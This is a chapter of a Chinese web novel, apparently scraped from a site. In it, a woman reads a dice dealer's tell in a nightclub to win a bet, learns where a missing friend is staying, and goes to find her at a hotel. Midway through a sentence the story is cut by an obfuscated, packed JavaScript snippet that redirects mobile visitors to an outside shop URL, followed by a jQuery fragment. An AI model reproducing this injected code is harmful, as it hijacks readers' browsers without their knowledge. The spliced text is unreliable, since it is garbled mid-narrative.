话毕,周彦转头看向她,他还以为她是久经赌场的老手,或者是明艳动人的荷官。

    可眼前的女人衣着朴素,长相平平,甚至还带着点村姑的气质,丝毫不像懂点门道的人。

    他不由得嗤笑一声,只当她是想引起他兴趣的搭讪,嘲笑道:“你一个乡下妹懂什么?老子我现在正输着钱呢,没功夫跟你拍拖,滚一边去。”

    随即便把全部的筹码押向了小,猜大小这种事情本来比的就是运气,他不信他连输了三把,第四把还能输。

    然而骰盅一开,是大。

    周彦睁大双眼,不可置信,他暗骂了一声乡下妹的运气都比他好,转头又找身边的人换了一些筹码。

    “还要赌吗周少?你今晚可输不少了。”周围有一个名叫霍山青的公子哥开始劝他,但是语气里更多的是打趣。

    周彦一听更应激了,甚至换了更多的筹码。

    “别墨迹,赶快开。”他催促。

    许南枝站在他身后,突然直观感受到了一句话:赌徒永远都相信自己能一把翻盘。

    这可能就是大部分赌徒沉迷于赌,最后输得倾家荡产的原因吧。

    又一把开始,骰盅在红衣女人的手中翻转,她五指收紧,指尖稳稳压住盅口,手腕一旋一压,骰子在里面疯狂碰撞,最终随着她“砰”地一声扣下,里头的骰子也随之稳稳落定。

    她的小拇指微微翘了起来。

    “这把押大还是押小,周少?”霍山青开口:“你随便押,我就押你的反面。”

    他说着吸了一口烟,神情玩味的看向周彦,仿佛丝毫不在意赌局的输赢,只享受这种对赌的乐趣。

    他对面的周彦此刻却显得面色严肃,他死死地盯着骰盅,犹豫良久,正想把筹码推向大时,突然回头看向许南枝。

    “你说,这把押什么?”

    见许南枝不说话,他又加了一句:“我知道你想要什么,不就是想要跟我拍拖嘛,这把若是赢了,我就给你个机会。”

    许南枝闻言不由得轻笑了一声,带着些许不屑,“周少?你对自己还真是自信。”

    “你这话什么意思?老子没耐心,你别给我玩欲擒故纵那一套。”

    许南枝见状也不想再跟他多费口舌,直接道:“我对你没有任何的兴趣,我帮你只是想问你一个问题,这把若是赢了,在现场这么多人的见证下,我希望你能认真诚实的回答我。”

    此言一出,在场众人纷纷把目光投向她,有惊讶,有好奇,有看戏。

    就连一直坐在最角落的陆耀也几不可察地抬了抬眸。

    周彦的反应最大,他感觉到自己的尊严被挑逗,随即上来了一股好胜心,“行,这把你若是猜对了,你问什么,我答什么。”

    “好。”许南枝看向骰盅,她记得刚才红衣女人的小拇指微微翘了一下,可她不确定这次她是不是故意的,但是事已至此,只能赌一把。

    “押小。”

    话音刚落,许南枝看见红衣女人谬地怔了一下,震惊地看向她,眼神仿佛在说:你怎么知道?

    许南枝心下稍安,看来那真的是她摇骰时的小习惯,她自己都没有意识到,所以才会如此惊讶。

    “这……”周彦还有些犹豫。

    “我说周少,你真要相信一个乡下妹的话?”霍山青见缝插针地开口,眼神在许南枝身上流转,“我看她就是一乡下的村姑,要不是这地方不设立进入门槛,她怕是连进来的资格都没有。”

    “你这狗嘴里崩什么坏屁呢?你才是村姑,你全家都是村姑。”林桂香眼疾语快,直接怼了回去。

    “哟,这还有个老村姑。”霍山青一副天不怕地不怕的嘴贱样子,继续挑衅。

    林桂香抄起旁边的酒瓶,就要上前,被许南枝一把拉住。

    她看都没看霍山青一眼,转头对周彦道:“想赢的话,就押小。”

    周彦咬了咬牙,决定听她一次,把筹码推向了小,不过他并没有全押,而是只押了一半。

    “老子要是输了,你今天就别想走出这个门。”他边威胁着,边看向霍山青,“老子就押小,来,你押大。”

    他说完见霍山青没有反应,“咋的,不敢?怕了就滚蛋,别在这儿磨磨唧唧的。”

    “谁怕了?”霍山青深吸了一口气,他并不是不敢,而是愤怒,被一个村姑忽视的愤怒。

    “我押大。”他说着把面前的筹码推向了大,“我倒要看看,你能有什么本事。”

    骰盅一开,是小。

    “他妈的。”比周彦的欢呼更先来的,是霍山青的咒骂:“瞎猫撞上死耗子,算你运气好。”

    他已经完全不在乎赌局的输赢,话全是冲着许南枝说的。

    然而许南枝理都没理他,直接看向周彦,“这把赢了,现在请你兑现你的承诺。”

    周彦赢了赌局顿时心情大好,满不在乎道:“你问吧。”

    “林晚宁在哪?”许南枝开门见山。

    闻言,周彦神情猛地凝住,眼神有些躲闪,支支吾吾回答:“我怎么知道?我跟她早就结束了。”

    “你在撒谎。”许南枝敏锐地捕捉到了他的心虚,“你刚才答应过我,要认真诚实的回答我,怎么,当着这么多人的面,你要言而无信吗?”

    这话顿时有些把周彦架在火上,他环视了一圈周围的人,本来自身地位就比他们低,若是在他们面前再落下一个出尔反尔的行为,那以后怕是更不好跟他们打交道了。

    想到这儿,他干脆也不编了,“是,她昨天是来找过我,哭着求着要跟我复合,我拿她没办法,把她安排在了附近的一个酒店里。正好你们来了,赶紧把她带回去,别再来烦我。”

    “哪个酒店?”

    周彦看了看角落里的陆耀,见他没动作,才道:“半岛酒店。”

    随即见许南枝得到答案就要走,他心里竟有些失落,喊道:“你接近我真只为了这一个问题?”

    许南枝微微皱眉,男人好像总是对自己有着莫名其妙的自信,回头,“不然呢?你有什么吸引力吗?”

    周围忽地传来一阵讥笑,周彦

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609518|205885||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    脸上挂不住,烦躁地闷了半瓶酒,看向霍山青,“你笑什么?她好歹还跟我说了几句话。”

    霍山青一听,脸色忽地阴沉。他盯着许南枝的背影,眯了眯眼,一股征服欲涌上心头。

    他的眼神被角落里的陆耀尽收眼底,同样身为男人,他自然懂此刻他心里在想什么。

    他随即把目光也投向了那道背影,不自觉地晃动手里的酒杯,里面原本平静的液体也随之涌动,就像他处事不惊的心突然有了波动。

    那个女人,确实让人有一种想要掌控的欲望。

    两人一出夜总会,一股潮湿微凉的晚风迎面吹来。

    许南枝和林桂香不禁猛地深吸了几口气,才慢慢感觉到刚才被各种酒味、烟味熏得发闷的胸腔得到了解放。

    “这鬼地方,待得我头都晕了。”林桂香杵着墙,低声骂了一句,随即看向许南枝,“不过南枝,你刚才真的好厉害,你是咋看出来的?你知道你跟他们说话那架势,底气十足,丝毫不怕他们……”

    许南枝扶着她,手有些软,脑中还回荡着刚才的情形。其实她并非不怕,毕竟那是人家的地盘,而是总感觉有一股底气。

    一股不管她做什么,都有人给她撑腰和兜底的底气。

    这种感觉,是她以前从来没有过的。

    许南枝清楚的知道,这是赵既明给她的。

    虽然他们现在只是名义上的夫妻,但是她总觉得在她需要帮助的时候,他会出手。

    想到这儿,许南枝准备正好给赵既明打个电话。自从上次两人紧急挂断之后,中间再没联系上一次,也不知道他那边的事情有没有处理好。

    但是许南枝在包里翻了半天,没有找到大哥大。

    “咋了?”林桂香见状,问道:“电话被偷了?”

    许南枝点点头,又仔细翻找了一遍,还是没有。

    “没事。”她收起包看向林桂香,决定先处理紧急的事情,“我们先去找晚宁吧,电话也有可能是落在旅馆了,晚上回去再找找。”

    半岛酒店距离东方夜总会并不远,两人走了不到十分钟就到了。

    这是一个高档的五星级酒店,装修奢华,富丽堂皇。酒店的服务穿着统一的制服,态度恭敬,动作优雅,连拒绝她们找人的请求都十分端庄得体。

    “不好意思,两位女士,我们酒店有保护客人隐私的要求,不方便回答客人的房间号,还请见谅。”前台的小姐姐微笑地回答。

    “那你们能打电话让她下来一趟吗?”许南枝没有为难她,问道。

    “好的女士,我这边可以帮您打电话询问一下,但是客人是否下来得看她本人的意愿。”小姐姐说着,拨通了内线电话。

    不一会儿,她挂断电话转头看向两人,道:“林小姐不方便下来,但是她同意两位上去,两位女士,这边请。”

    许南枝和林桂香在服务员的指引下坐上电梯,找到了林晚宁的房间。

    门还未完全打开,她略带叛逆和质问的话便从里面传来:“你们是来劝我回去的吗?”